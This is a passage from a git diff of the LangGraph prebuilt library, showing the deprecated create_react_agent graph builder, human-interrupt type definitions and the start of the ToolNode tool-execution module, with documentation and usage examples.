**deprecated_kwargs: Any, +) -> CompiledStateGraph: + """Creates an agent graph that calls tools in a loop until a stopping condition is met. + + !!! warning + + This function is deprecated in favor of + [`create_agent`][langchain.agents.create_agent] from the `langchain` + package, which provides an equivalent agent factory with a flexible + middleware system. For migration guidance, see + [Migrating from LangGraph v0](https://docs.langchain.com/oss/python/migrate/langgraph-v1). + + Args: + model: The language model for the agent. Supports static and dynamic + model selection. + + - **Static model**: A chat model instance (e.g., + [`ChatOpenAI`][langchain_openai.ChatOpenAI]) or string identifier (e.g., + `"openai:gpt-4"`) + - **Dynamic model**: A callable with signature + `(state, runtime) -> BaseChatModel` that returns different models + based on runtime context + + If the model has tools bound via `bind_tools` or other configurations, + the return type should be a `Runnable[LanguageModelInput, BaseMessage]` + Coroutines are also supported, allowing for asynchronous model selection. + + Dynamic functions receive graph state and runtime, enabling + context-dependent model selection. Must return a `BaseChatModel` + instance. For tool calling, bind tools using `.bind_tools()`. + Bound tools must be a subset of the `tools` parameter. + + !!! example "Dynamic model" + + ```python + from dataclasses import dataclass + + @dataclass + class ModelContext: + model_name: str = "gpt-3.5-turbo" + + # Instantiate models globally + gpt4_model = ChatOpenAI(model="gpt-4") + gpt35_model = ChatOpenAI(model="gpt-3.5-turbo") + + def select_model(state: AgentState, runtime: Runtime[ModelContext]) -> ChatOpenAI: + model_name = runtime.context.model_name + model = gpt4_model if model_name == "gpt-4" else gpt35_model + return model.bind_tools(tools) + ``` + + !!! note "Dynamic Model Requirements" + + Ensure returned models have appropriate tools bound via + `.bind_tools()` and support required functionality. Bound tools + must be a subset of those specified in the `tools` parameter. + + tools: A list of tools or a `ToolNode` instance. + If an empty list is provided, the agent will consist of a single LLM node without tool calling. + prompt: An optional prompt for the LLM. Can take a few different forms: + + - `str`: This is converted to a `SystemMessage` and added to the beginning of the list of messages in `state["messages"]`. + - `SystemMessage`: this is added to the beginning of the list of messages in `state["messages"]`. + - `Callable`: This function should take in full graph state and the output is then passed to the language model. + - `Runnable`: This runnable should take in full graph state and the output is then passed to the language model. + + response_format: An optional schema for the final agent output. + + If provided, output will be formatted to match the given schema and returned in the 'structured_response' state key. + + If not provided, `structured_response` will not be present in the output state. + + Can be passed in as: + + - An OpenAI function/tool schema, + - A JSON Schema, + - A TypedDict class, + - A Pydantic class. + - A tuple `(prompt, schema)`, where schema is one of the above. + The prompt will be used together with the model that is being used to + generate the structured response. + + !!! Important + `response_format` requires the model to support `.with_structured_output` + + !!! Note + The graph will make a separate call to the LLM to generate the structured response after the agent loop is finished. + This is not the only strategy to get structured responses, see more options in [this guide](https://langchain-ai.github.io/langgraph/how-tos/react-agent-structured-output/). + + pre_model_hook: An optional node to add before the `agent` node (i.e., the node that calls the LLM). + Useful for managing long message histories (e.g., message trimming, summarization, etc.). + Pre-model hook must be a callable or a runnable that takes in current graph state and returns a state update in the form of + ```python + # At least one of `messages` or `llm_input_messages` MUST be provided + { + # If provided, will UPDATE the `messages` in the state + "messages": [RemoveMessage(id=REMOVE_ALL_MESSAGES), ...], + # If provided, will be used as the input to the LLM, + # and will NOT UPDATE `messages` in the state + "llm_input_messages": [...], + # Any other state keys that need to be propagated + ... + } + ``` + + !!! Important + At least one of `messages` or `llm_input_messages` MUST be provided and will be used as an input to the `agent` node. + The rest of the keys will be added to the graph state. + + !!! Warning + If you are returning `messages` in the pre-model hook, you should OVERWRITE the `messages` key by doing the following: + + ```python + { + "messages": [RemoveMessage(id=REMOVE_ALL_MESSAGES), *new_messages] + ... + } + ``` + post_model_hook: An optional node to add after the `agent` node (i.e., the node that calls the LLM). + Useful for implementing human-in-the-loop, guardrails, validation, or other post-processing. + Post-model hook must be a callable or a runnable that takes in current graph state and returns a state update. + + !!! Note + Only available with `version="v2"`. + state_schema: An optional state schema that defines graph state. + Must have `messages` and `remaining_steps` keys. + Defaults to `AgentState` that defines those two keys. + !!! Note + `remaining_steps` is used to limit the number of steps the react agent can take. + Calculated roughly as `recursion_limit` - `total_steps_taken`. + If `remaining_steps` is less than 2 and tool calls are present in the response, + the react agent will return a final AI Message with + the content "Sorry, need more steps to process this request.". + No `GraphRecusionError` will be raised in this case. + + context_schema: An optional schema for runtime context. + checkpointer: An optional checkpoint saver object. This is used for persisting + the state of the graph (e.g., as chat memory) for a single thread (e.g., a single conversation). + store: An optional store object. This is used for persisting data + across multiple threads (e.g., multiple conversations / users). + interrupt_before: An optional list of node names to interrupt before. + Should be one of the following: `"agent"`, `"tools"`. + + This is useful if you want to add a user confirmation or other interrupt before taking an action. + interrupt_after: An optional list of node names to interrupt after. + Should be one of the following: `"agent"`, `"tools"`. + + This is useful if you want to return directly or run additional processing on an output. + debug: A flag indicating whether to enable debug mode. + version: Determines the version of the graph to create. + + Can be one of: + + - `"v1"`: The tool node processes a single message. All tool + calls in the message are executed in parallel within the tool node. + - `"v2"`: The tool node processes a tool call. + Tool calls are distributed across multiple instances of the tool + node using the [Send](https://langchain-ai.github.io/langgraph/concepts/low_level/#send) + API. + name: An optional name for the `CompiledStateGraph`. + This name will be automatically used when adding ReAct agent graph to another graph as a subgraph node - + particularly useful for building multi-agent systems. + + !!! warning "`config_schema` Deprecated" + The `config_schema` parameter is deprecated in v0.6.0 and support will be removed in v2.0.0. + Please use `context_schema` instead to specify the schema for run-scoped context. + + + Returns: + A compiled LangChain `Runnable` that can be used for chat interactions. + + The "agent" node calls the language model with the messages list (after applying the prompt). + If the resulting AIMessage contains `tool_calls`, the graph will then call the ["tools"][langgraph.prebuilt.tool_node.ToolNode]. + The "tools" node executes the tools (1 tool per `tool_call`) and adds the responses to the messages list + as `ToolMessage` objects. The agent node then calls the language model again. + The process repeats until no more `tool_calls` are present in the response. + The agent then returns the full list of messages as a dictionary containing the key `'messages'`. + + ``` mermaid + sequenceDiagram + participant U as User + participant A as LLM + participant T as Tools + U->>A: Initial input + Note over A: Prompt + LLM + loop while tool_calls present + A->>T: Execute tools + T-->>A: ToolMessage for each tool_calls + end + A->>U: Return final state + ``` + + Example: + ```python + from langgraph.prebuilt import create_react_agent + + def check_weather(location: str) -> str: + '''Return the weather forecast for the specified location.''' + return f"It's always sunny in {location}" + + graph = create_react_agent( + "anthropic:claude-3-7-sonnet-latest", + tools=[check_weather], + prompt="You are a helpful assistant", + ) + inputs = {"messages": [{"role": "user", "content": "what is the weather in sf"}]} + for chunk in graph.stream(inputs, stream_mode="updates"): + print(chunk) + ``` + """ + if ( + config_schema := deprecated_kwargs.pop("config_schema", MISSING) + ) is not MISSING: + warnings.warn( + "`config_schema` is deprecated and will be removed. Please use `context_schema` instead.", + category=LangGraphDeprecatedSinceV10, + ) + + if context_schema is None: + context_schema = config_schema + + if len(deprecated_kwargs) > 0: + raise TypeError( + f"create_react_agent() got unexpected keyword arguments: {deprecated_kwargs}" + ) + + if version not in ("v1", "v2"): + raise ValueError( + f"Invalid version {version}. Supported versions are 'v1' and 'v2'." + ) + + if state_schema is not None: + required_keys = {"messages", "remaining_steps"} + if response_format is not None: + required_keys.add("structured_response") + + schema_keys = set(get_type_hints(state_schema)) + if missing_keys := required_keys - set(schema_keys): + raise ValueError(f"Missing required key(s) {missing_keys} in state_schema") + + if state_schema is None: + state_schema = ( + AgentStateWithStructuredResponse + if response_format is not None + else AgentState + ) + + llm_builtin_tools: list[dict] = [] + if isinstance(tools, ToolNode): + tool_classes = list(tools.tools_by_name.values()) + tool_node = tools + else: + llm_builtin_tools = [t for t in tools if isinstance(t, dict)] + tool_node = ToolNode([t for t in tools if not isinstance(t, dict)]) + tool_classes = list(tool_node.tools_by_name.values()) + + is_dynamic_model = not isinstance(model, (str, Runnable)) and callable(model) + is_async_dynamic_model = is_dynamic_model and inspect.iscoroutinefunction(model) + + tool_calling_enabled = len(tool_classes) > 0 + + if not is_dynamic_model: + if isinstance(model, str): + try: + from langchain.chat_models import ( # type: ignore[import-not-found] + init_chat_model, + ) + except ImportError: + raise ImportError( + "Please install langchain (`pip install langchain`) to " + "use ':' string syntax for `model` parameter." + ) + + model = cast(BaseChatModel, init_chat_model(model)) + + if ( + _should_bind_tools(model, tool_classes, num_builtin=len(llm_builtin_tools)) # type: ignore[arg-type] + and len(tool_classes + llm_builtin_tools) > 0 + ): + model = cast(BaseChatModel, model).bind_tools( + tool_classes + llm_builtin_tools # type: ignore[operator] + ) + + static_model: Runnable | None = _get_prompt_runnable(prompt) | model # type: ignore[operator] + else: + # For dynamic models, we'll create the runnable at runtime + static_model = None + + # If any of the tools are configured to return_directly after running, + # our graph needs to check if these were called + should_return_direct = {t.name for t in tool_classes if t.return_direct} + + def _resolve_model( + state: StateSchema, runtime: Runtime[ContextT] + ) -> LanguageModelLike: + """Resolve the model to use, handling both static and dynamic models.""" + if is_dynamic_model: + return _get_prompt_runnable(prompt) | model(state, runtime) # type: ignore[operator] + else: + return static_model + + async def _aresolve_model( + state: StateSchema, runtime: Runtime[ContextT] + ) -> LanguageModelLike: + """Async resolve the model to use, handling both static and dynamic models.""" + if is_async_dynamic_model: + resolved_model = await model(state, runtime) # type: ignore[misc,operator] + return _get_prompt_runnable(prompt) | resolved_model + elif is_dynamic_model: + return _get_prompt_runnable(prompt) | model(state, runtime) # type: ignore[operator] + else: + return static_model + + def _are_more_steps_needed(state: StateSchema, response: BaseMessage) -> bool: + has_tool_calls = isinstance(response, AIMessage) and response.tool_calls + all_tools_return_direct = ( + all(call["name"] in should_return_direct for call in response.tool_calls) + if isinstance(response, AIMessage) + else False + ) + remaining_steps = _get_state_value(state, "remaining_steps", None) + if remaining_steps is not None: + if remaining_steps < 1 and all_tools_return_direct: + return True + elif remaining_steps < 2 and has_tool_calls: + return True + + return False + + def _get_model_input_state(state: StateSchema) -> StateSchema: + if pre_model_hook is not None: + messages = ( + _get_state_value(state, "llm_input_messages") + ) or _get_state_value(state, "messages") + error_msg = f"Expected input to call_model to have 'llm_input_messages' or 'messages' key, but got {state}" + else: + messages = _get_state_value(state, "messages") + error_msg = ( + f"Expected input to call_model to have 'messages' key, but got {state}" + ) + + if messages is None: + raise ValueError(error_msg) + + _validate_chat_history(messages) + # we're passing messages under `messages` key, as this is expected by the prompt + if isinstance(state_schema, type) and issubclass(state_schema, BaseModel): + state.messages = messages # type: ignore + else: + state["messages"] = messages # type: ignore + + return state + + # Define the function that calls the model + def call_model( + state: StateSchema, runtime: Runtime[ContextT], config: RunnableConfig + ) -> StateSchema: + if is_async_dynamic_model: + msg = ( + "Async model callable provided but agent invoked synchronously. " + "Use agent.ainvoke() or agent.astream(), or " + "provide a sync model callable." + ) + raise RuntimeError(msg) + + model_input = _get_model_input_state(state) + + if is_dynamic_model: + # Resolve dynamic model at runtime and apply prompt + dynamic_model = _resolve_model(state, runtime) + response = cast(AIMessage, dynamic_model.invoke(model_input, config)) # type: ignore[arg-type] + else: + response = cast(AIMessage, static_model.invoke(model_input, config)) # type: ignore[union-attr] + + # add agent name to the AIMessage + response.name = name + + if _are_more_steps_needed(state, response): + return { + "messages": [ + AIMessage( + id=response.id, + content="Sorry, need more steps to process this request.", + ) + ] + } + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + async def acall_model( + state: StateSchema, runtime: Runtime[ContextT], config: RunnableConfig + ) -> StateSchema: + model_input = _get_model_input_state(state) + + if is_dynamic_model: + # Resolve dynamic model at runtime and apply prompt + # (supports both sync and async) + dynamic_model = await _aresolve_model(state, runtime) + response = cast(AIMessage, await dynamic_model.ainvoke(model_input, config)) # type: ignore[arg-type] + else: + response = cast(AIMessage, await static_model.ainvoke(model_input, config)) # type: ignore[union-attr] + + # add agent name to the AIMessage + response.name = name + if _are_more_steps_needed(state, response): + return { + "messages": [ + AIMessage( + id=response.id, + content="Sorry, need more steps to process this request.", + ) + ] + } + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + input_schema: StateSchemaType + if pre_model_hook is not None: + # Dynamically create a schema that inherits from state_schema and adds 'llm_input_messages' + if isinstance(state_schema, type) and issubclass(state_schema, BaseModel): + # For Pydantic schemas + from pydantic import create_model + + input_schema = create_model( + "CallModelInputSchema", + llm_input_messages=(list[AnyMessage], ...), + __base__=state_schema, + ) + else: + # For TypedDict schemas + class CallModelInputSchema(state_schema): # type: ignore + llm_input_messages: list[AnyMessage] + + input_schema = CallModelInputSchema + else: + input_schema = state_schema + + def generate_structured_response( + state: StateSchema, runtime: Runtime[ContextT], config: RunnableConfig + ) -> StateSchema: + if is_async_dynamic_model: + msg = ( + "Async model callable provided but agent invoked synchronously. " + "Use agent.ainvoke() or agent.astream(), or provide a sync model callable." + ) + raise RuntimeError(msg) + + messages = _get_state_value(state, "messages") + structured_response_schema = response_format + if isinstance(response_format, tuple): + system_prompt, structured_response_schema = response_format + messages = [SystemMessage(content=system_prompt)] + list(messages) + + resolved_model = _resolve_model(state, runtime) + model_with_structured_output = _get_model( + resolved_model + ).with_structured_output( + cast(StructuredResponseSchema, structured_response_schema) + ) + response = model_with_structured_output.invoke(messages, config) + return {"structured_response": response} + + async def agenerate_structured_response( + state: StateSchema, runtime: Runtime[ContextT], config: RunnableConfig + ) -> StateSchema: + messages = _get_state_value(state, "messages") + structured_response_schema = response_format + if isinstance(response_format, tuple): + system_prompt, structured_response_schema = response_format + messages = [SystemMessage(content=system_prompt)] + list(messages) + + resolved_model = await _aresolve_model(state, runtime) + model_with_structured_output = _get_model( + resolved_model + ).with_structured_output( + cast(StructuredResponseSchema, structured_response_schema) + ) + response = await model_with_structured_output.ainvoke(messages, config) + return {"structured_response": response} + + if not tool_calling_enabled: + # Define a new graph + workflow = StateGraph(state_schema=state_schema, context_schema=context_schema) + workflow.add_node( + "agent", + RunnableCallable(call_model, acall_model), + input_schema=input_schema, + ) + if pre_model_hook is not None: + workflow.add_node("pre_model_hook", pre_model_hook) # type: ignore[arg-type] + workflow.add_edge("pre_model_hook", "agent") + entrypoint = "pre_model_hook" + else: + entrypoint = "agent" + + workflow.set_entry_point(entrypoint) + + if post_model_hook is not None: + workflow.add_node("post_model_hook", post_model_hook) # type: ignore[arg-type] + workflow.add_edge("agent", "post_model_hook") + + if response_format is not None: + workflow.add_node( + "generate_structured_response", + RunnableCallable( + generate_structured_response, + agenerate_structured_response, + ), + ) + if post_model_hook is not None: + workflow.add_edge("post_model_hook", "generate_structured_response") + else: + workflow.add_edge("agent", "generate_structured_response") + + return workflow.compile( + checkpointer=checkpointer, + store=store, + interrupt_before=interrupt_before, + interrupt_after=interrupt_after, + debug=debug, + name=name, + ) + + # Define the function that determines whether to continue or not + def should_continue(state: StateSchema) -> str | list[Send]: + messages = _get_state_value(state, "messages") + last_message = messages[-1] + # If there is no function call, then we finish + if not isinstance(last_message, AIMessage) or not last_message.tool_calls: + if post_model_hook is not None: + return "post_model_hook" + elif response_format is not None: + return "generate_structured_response" + else: + return END + # Otherwise if there is, we continue + else: + if version == "v1": + return "tools" + elif version == "v2": + if post_model_hook is not None: + return "post_model_hook" + return [ + Send( + "tools", + ToolCallWithContext( + __type="tool_call_with_context", + tool_call=call, + state=state, + ), + ) + for call in last_message.tool_calls + ] + + # Define a new graph + workflow = StateGraph( + state_schema=state_schema or AgentState, context_schema=context_schema + ) + + # Define the two nodes we will cycle between + workflow.add_node( + "agent", + RunnableCallable(call_model, acall_model), + input_schema=input_schema, + ) + workflow.add_node("tools", tool_node) + + # Optionally add a pre-model hook node that will be called + # every time before the "agent" (LLM-calling node) + if pre_model_hook is not None: + workflow.add_node("pre_model_hook", pre_model_hook) # type: ignore[arg-type] + workflow.add_edge("pre_model_hook", "agent") + entrypoint = "pre_model_hook" + else: + entrypoint = "agent" + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point(entrypoint) + + agent_paths = [] + post_model_hook_paths = [entrypoint, "tools"] + + # Add a post model hook node if post_model_hook is provided + if post_model_hook is not None: + workflow.add_node("post_model_hook", post_model_hook) # type: ignore[arg-type] + agent_paths.append("post_model_hook") + workflow.add_edge("agent", "post_model_hook") + else: + agent_paths.append("tools") + + # Add a structured output node if response_format is provided + if response_format is not None: + workflow.add_node( + "generate_structured_response", + RunnableCallable( + generate_structured_response, + agenerate_structured_response, + ), + ) + if post_model_hook is not None: + post_model_hook_paths.append("generate_structured_response") + else: + agent_paths.append("generate_structured_response") + else: + if post_model_hook is not None: + post_model_hook_paths.append(END) + else: + agent_paths.append(END) + + if post_model_hook is not None: + + def post_model_hook_router(state: StateSchema) -> str | list[Send]: + """Route to the next node after post_model_hook. + + Routes to one of: + * "tools": if there are pending tool calls without a corresponding message. + * "generate_structured_response": if no pending tool calls exist and response_format is specified. + * END: if no pending tool calls exist and no response_format is specified. + """ + + messages = _get_state_value(state, "messages") + tool_messages = [ + m.tool_call_id for m in messages if isinstance(m, ToolMessage) + ] + last_ai_message = next( + m for m in reversed(messages) if isinstance(m, AIMessage) + ) + pending_tool_calls = [ + c for c in last_ai_message.tool_calls if c["id"] not in tool_messages + ] + + if pending_tool_calls: + return [ + Send( + "tools", + ToolCallWithContext( + __type="tool_call_with_context", + tool_call=call, + state=state, + ), + ) + for call in pending_tool_calls + ] + elif isinstance(messages[-1], ToolMessage): + return entrypoint + elif response_format is not None: + return "generate_structured_response" + else: + return END + + workflow.add_conditional_edges( + "post_model_hook", + post_model_hook_router, + path_map=post_model_hook_paths, + ) + + workflow.add_conditional_edges( + "agent", + should_continue, + path_map=agent_paths, + ) + + def route_tool_responses(state: StateSchema) -> str: + for m in reversed(_get_state_value(state, "messages")): + if not isinstance(m, ToolMessage): + break + if m.name in should_return_direct: + return END + + # handle a case of parallel tool calls where + # the tool w/ `return_direct` was executed in a different `Send` + if isinstance(m, AIMessage) and m.tool_calls: + if any(call["name"] in should_return_direct for call in m.tool_calls): + return END + + return entrypoint + + if should_return_direct: + workflow.add_conditional_edges( + "tools", route_tool_responses, path_map=[entrypoint, END] + ) + else: + workflow.add_edge("tools", entrypoint) + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + return workflow.compile( + checkpointer=checkpointer, + store=store, + interrupt_before=interrupt_before, + interrupt_after=interrupt_after, + debug=debug, + name=name, + ) + + +# Keep for backwards compatibility +create_tool_calling_executor = create_react_agent + +__all__ = [ + "create_react_agent", + "create_tool_calling_executor", + "AgentState", + "AgentStatePydantic", + "AgentStateWithStructuredResponse", + "AgentStateWithStructuredResponsePydantic", +] diff --git a/libs/prebuilt/langgraph/prebuilt/interrupt.py b/libs/prebuilt/langgraph/prebuilt/interrupt.py new file mode 100644 index 0000000..d23c11c --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/interrupt.py @@ -0,0 +1,105 @@ +from typing import Literal + +from langgraph.warnings import LangGraphDeprecatedSinceV10 +from typing_extensions import TypedDict, deprecated + + +@deprecated( + "HumanInterruptConfig has been moved to `langchain.agents.interrupt`. Please update your import to `from langchain.agents.interrupt import HumanInterruptConfig`.", + category=LangGraphDeprecatedSinceV10, +) +class HumanInterruptConfig(TypedDict): + """Configuration that defines what actions are allowed for a human interrupt. + + This controls the available interaction options when the graph is paused for human input. + + Attributes: + allow_ignore: Whether the human can choose to ignore/skip the current step + allow_respond: Whether the human can provide a text response/feedback + allow_edit: Whether the human can edit the provided content/state + allow_accept: Whether the human can accept/approve the current state + """ + + allow_ignore: bool + allow_respond: bool + allow_edit: bool + allow_accept: bool + + +@deprecated( + "ActionRequest has been moved to `langchain.agents.interrupt`. Please update your import to `from langchain.agents.interrupt import ActionRequest`.", + category=LangGraphDeprecatedSinceV10, +) +class ActionRequest(TypedDict): + """Represents a request for human action within the graph execution. + + Contains the action type and any associated arguments needed for the action. + + Attributes: + action: The type or name of action being requested (e.g., `"Approve XYZ action"`) + args: Key-value pairs of arguments needed for the action + """ + + action: str + args: dict + + +@deprecated( + "HumanInterrupt has been moved to `langchain.agents.interrupt`. Please update your import to `from langchain.agents.interrupt import HumanInterrupt`.", + category=LangGraphDeprecatedSinceV10, +) +class HumanInterrupt(TypedDict): + """Represents an interrupt triggered by the graph that requires human intervention. + + This is passed to the `interrupt` function when execution is paused for human input. + + Attributes: + action_request: The specific action being requested from the human + config: Configuration defining what actions are allowed + description: Optional detailed description of what input is needed + + Example: + ```python + # Extract a tool call from the state and create an interrupt request + request = HumanInterrupt( + action_request=ActionRequest( + action="run_command", # The action being requested + args={"command": "ls", "args": ["-l"]} # Arguments for the action + ), + config=HumanInterruptConfig( + allow_ignore=True, # Allow skipping this step + allow_respond=True, # Allow text feedback + allow_edit=False, # Don't allow editing + allow_accept=True # Allow direct acceptance + ), + description="Please review the command before execution" + ) + # Send the interrupt request and get the response + response = interrupt([request])[0] + ``` + """ + + action_request: ActionRequest + config: HumanInterruptConfig + description: str | None + + +class HumanResponse(TypedDict): + """The response provided by a human to an interrupt, which is returned when graph execution resumes. + + Attributes: + type: The type of response: + + - `'accept'`: Approves the current state without changes + - `'ignore'`: Skips/ignores the current step + - `'response'`: Provides text feedback or instructions + - `'edit'`: Modifies the current state/content + args: The response payload: + + - `None`: For ignore/accept actions + - `str`: For text responses + - `ActionRequest`: For edit actions with updated content + """ + + type: Literal["accept", "ignore", "response", "edit"] + args: None | str | ActionRequest diff --git a/libs/prebuilt/langgraph/prebuilt/py.typed b/libs/prebuilt/langgraph/prebuilt/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/prebuilt/langgraph/prebuilt/tool_node.py b/libs/prebuilt/langgraph/prebuilt/tool_node.py new file mode 100644 index 0000000..25d2425 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/tool_node.py @@ -0,0 +1,2030 @@ +"""Tool execution node for LangGraph workflows. + +This module provides prebuilt functionality for executing tools in LangGraph. + +Tools are functions that models can call to interact with external systems, +APIs, databases, or perform computations. + +The module implements design patterns for: + +- Parallel execution of multiple tool calls for efficiency +- Robust error handling with customizable error messages +- State injection for tools that need access to graph state +- Store injection for tools that need persistent storage +- Command-based state updates for advanced control flow + +Key Components: + +- [`ToolNode`][langgraph.prebuilt.ToolNode]: Main class for executing tools in LangGraph workflows +- [`InjectedState`][langgraph.prebuilt.InjectedState]: Annotation for injecting graph state into tools +- [`InjectedStore`][langgraph.prebuilt.InjectedStore]: Annotation for injecting persistent store into tools +- [`ToolRuntime`][langgraph.prebuilt.ToolRuntime]: Runtime information for tools, bundling together `state`, `context`, + `config`, `stream_writer`, `tool_call_id`, and `store` +- [`tools_condition`][langgraph.prebuilt.tools_condition]: Utility function for conditional routing based on tool calls + +Typical Usage: + ```python + from langchain_core.tools import tool + from langchain.tools import ToolNode + + + @tool + def my_tool(x: int) -> str: + return f"Result: {x}" + + + tool_node = ToolNode([my_tool]) + ``` +""" + +from __future__ import annotations + +import asyncio +import inspect +import json +from collections.abc import Awaitable, Callable +from copy import copy, deepcopy +from dataclasses import dataclass, field, replace +from types import UnionType +from typing import ( + TYPE_CHECKING, + Annotated, + Any, + Generic, + Literal, + TypedDict, + Union, + cast, + get_args, + get_origin, + get_type_hints, +) + +from langchain_core.messages import ( + AIMessage, + AnyMessage, + RemoveMessage, + ToolCall, + ToolMessage, + convert_to_messages, +) +from langchain_core.runnables.config import ( + RunnableConfig, + get_config_list, + get_executor_for_config, +) +from langchain_core.tools import BaseTool, InjectedToolArg +from langchain_core.tools import tool as create_tool +from langchain_core.tools.base import ( + TOOL_MESSAGE_BLOCK_TYPES, + ToolException, + _DirectlyInjectedToolArg, + _is_injected_arg_type, + get_all_basemodel_annotations, +) +from langgraph._internal._constants import CONF, CONFIG_KEY_READ +from langgraph._internal._runnable import RunnableCallable +from langgraph.errors import GraphBubbleUp +from langgraph.graph.message import REMOVE_ALL_MESSAGES +from langgraph.pregel._tools import _tool_call_writer +from langgraph.runtime import ExecutionInfo, ServerInfo # noqa: TC002 +from langgraph.store.base import BaseStore # noqa: TC002 +from langgraph.types import Command, Send, StreamWriter +from pydantic import BaseModel, ValidationError +from typing_extensions import TypeVar, Unpack + +if TYPE_CHECKING: + from collections.abc import Sequence + + from langgraph.runtime import Runtime + from pydantic_core import ErrorDetails + +# right now we use a dict as the default, can change this to AgentState, but depends +# on if this lives in LangChain or LangGraph... ideally would have some typed +# messages key +StateT = TypeVar("StateT", default=dict) +ContextT = TypeVar("ContextT", default=None) + +INVALID_TOOL_NAME_ERROR_TEMPLATE = ( + "Error: {requested_tool} is not a valid tool, try one of [{available_tools}]." +) +TOOL_CALL_ERROR_TEMPLATE = "Error: {error}\n Please fix your mistakes." +TOOL_EXECUTION_ERROR_TEMPLATE = ( + "Error executing tool '{tool_name}' with kwargs {tool_kwargs} with error:\n" + " {error}\n" + " Please fix the error and try again." +) +TOOL_INVOCATION_ERROR_TEMPLATE = ( + "Error invoking tool '{tool_name}' with kwargs {tool_kwargs} with error:\n" + " {error}\n" + " Please fix the error and try again." +) + + +class _ToolCallRequestOverrides(TypedDict, total=False): + """Possible overrides for ToolCallRequest.override() method.""" + + tool_call: ToolCall + tool: BaseTool + state: Any + + +@dataclass +class ToolCallRequest: + """Tool execution request passed to tool call interceptors. + + Attributes: + tool_call: Tool call dict with name, args, and id from model output. + tool: BaseTool instance to be invoked, or None if tool is not + registered with the `ToolNode`. When tool is `None`, interceptors can + handle the request without validation. If the interceptor calls `execute()`, + validation will occur and raise an error for unregistered tools. + state: Agent state (`dict`, `list`, or `BaseModel`). + runtime: LangGraph runtime context (optional, `None` if outside graph). + """ + + tool_call: ToolCall + tool: BaseTool | None + state: Any + runtime: ToolRuntime + + def __setattr__(self, name: str, value: Any) -> None: + """Raise deprecation warning when setting attributes directly. + + Direct attribute assignment is deprecated. Use the `override()` method instead. + """ + import warnings + + # Allow setting attributes during initialization + if not hasattr(self, "__dataclass_fields__") or not hasattr(self, name): + object.__setattr__(self, name, value) + else: + warnings.warn( + f"Setting attribute '{name}' on ToolCallRequest is deprecated. " + "Use the override() method instead to create a new instance with modified values.", + DeprecationWarning, + stacklevel=2, + ) + object.__setattr__(self, name, value) + + def override( + self, **overrides: Unpack[_ToolCallRequestOverrides] + ) -> ToolCallRequest: + """Replace the request with a new request with the given overrides. + + Returns a new `ToolCallRequest` instance with the specified attributes replaced. + This follows an immutable pattern, leaving the original request unchanged. + + Args: + **overrides: Keyword arguments for attributes to override. + + Supported keys: + + - tool_call: Tool call dict with `name`, `args`, and `id` + - state: Agent state (`dict`, `list`, or `BaseModel`) + + Returns: + New ToolCallRequest instance with specified overrides applied. + + Examples: + ```python + # Modify tool call arguments without mutating original + modified_call = {**request.tool_call, "args": {"value": 10}} + new_request = request.override(tool_call=modified_call) + + # Override multiple attributes + new_request = request.override(tool_call=modified_call, state=new_state) + ``` + """ + return replace(self, **overrides) + + +ToolCallWrapper = Callable[ + [ToolCallRequest, Callable[[ToolCallRequest], ToolMessage | Command]], + ToolMessage | Command, +] +"""Wrapper for tool call execution with multi-call support. + +Wrapper receives: + request: ToolCallRequest with tool_call, tool, state, and runtime. + execute: Callable to execute the tool (CAN BE CALLED MULTIPLE TIMES). + +Returns: + ToolMessage or Command (the final result). + +The execute callable can be invoked multiple times for retry logic, +with potentially modified requests each time. Each call to execute +is independent and stateless. + +!!! note + When implementing middleware for `create_agent`, use + `AgentMiddleware.wrap_tool_call` which provides properly typed + state parameter for better type safety. + +Examples: + Passthrough (execute once): + + def handler(request, execute): + return execute(request) + + Modify request before execution: + + ```python + def handler(request, execute): + modified_call = {**request.tool_call, "args": {**request.tool_call["args"], "value": request.tool_call["args"]["value"] * 2}} + modified_request = request.override(tool_call=modified_call) + return execute(modified_request) + ``` + + Retry on error (execute multiple times): + + ```python + def handler(request, execute): + for attempt in range(3): + try: + result = execute(request) + if is_valid(result): + return result + except Exception: + if attempt == 2: + raise + return result + ``` + + Conditional retry based on response: + + ```python + def handler(request, execute): + for attempt in range(3): + result = execute(request) + if isinstance(result, ToolMessage) and result.status != "error": + return result + if attempt < 2: + continue + return result + ``` + + Cache/short-circuit without calling execute: + + ```python + def handler(request, execute): + if cached := get_cache(request): + return ToolMessage(content=cached, tool_call_id=request.tool_call["id"]) + result = execute(request) + save_cache(request, result) + return result + ``` +""" + +AsyncToolCallWrapper = Callable[ + [ToolCallRequest, Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]]], + Awaitable[ToolMessage | Command], +] +"""Async wrapper for tool call execution with multi-call support.""" + + +class ToolCallWithContext(TypedDict): + """ToolCall with additional context for graph state. + + This is an internal data structure meant to help the `ToolNode` accept + tool calls with additional context (e.g. state) when dispatched using the + Send API. + + The Send API is used in create_agent to distribute tool calls in parallel + and support human-in-the-loop workflows where graph execution may be paused + for an indefinite time. + """ + + tool_call: ToolCall + __type: Literal["tool_call_with_context"] + """Type to parameterize the payload. + + Using "__" as a prefix to be defensive against potential name collisions with + regular user state. + """ + state: Any + """The state is provided as additional context.""" + + +def msg_content_output(output: Any) -> str | list[dict]: + """Convert tool output to `ToolMessage` content format. + + Handles `str`, `list[dict]` (content blocks), and arbitrary objects by attempting + JSON serialization with fallback to str(). + + Args: + output: Tool execution output of any type. + + Returns: + String or list of content blocks suitable for `ToolMessage.content`. + """ + if isinstance(output, str) or ( + isinstance(output, list) + and all( + isinstance(x, dict) and x.get("type") in TOOL_MESSAGE_BLOCK_TYPES + for x in output + ) + ): + return output + # Technically a list of strings is also valid message content, but it's + # not currently well tested that all chat models support this. + # And for backwards compatibility we want to make sure we don't break + # any existing ToolNode usage. + try: + return json.dumps(output, ensure_ascii=False) + except Exception: # noqa: BLE001 + return str(output) + + +class ToolInvocationError(ToolException): + """An error occurred while invoking a tool due to invalid arguments. + + This exception is only raised when invoking a tool using the `ToolNode`! + """ + + def __init__( + self, + tool_name: str, + source: ValidationError, + tool_kwargs: dict[str, Any], + filtered_errors: list[ErrorDetails] | None = None, + ) -> None: + """Initialize the ToolInvocationError. + + Args: + tool_name: The name of the tool that failed. + source: The exception that occurred. + 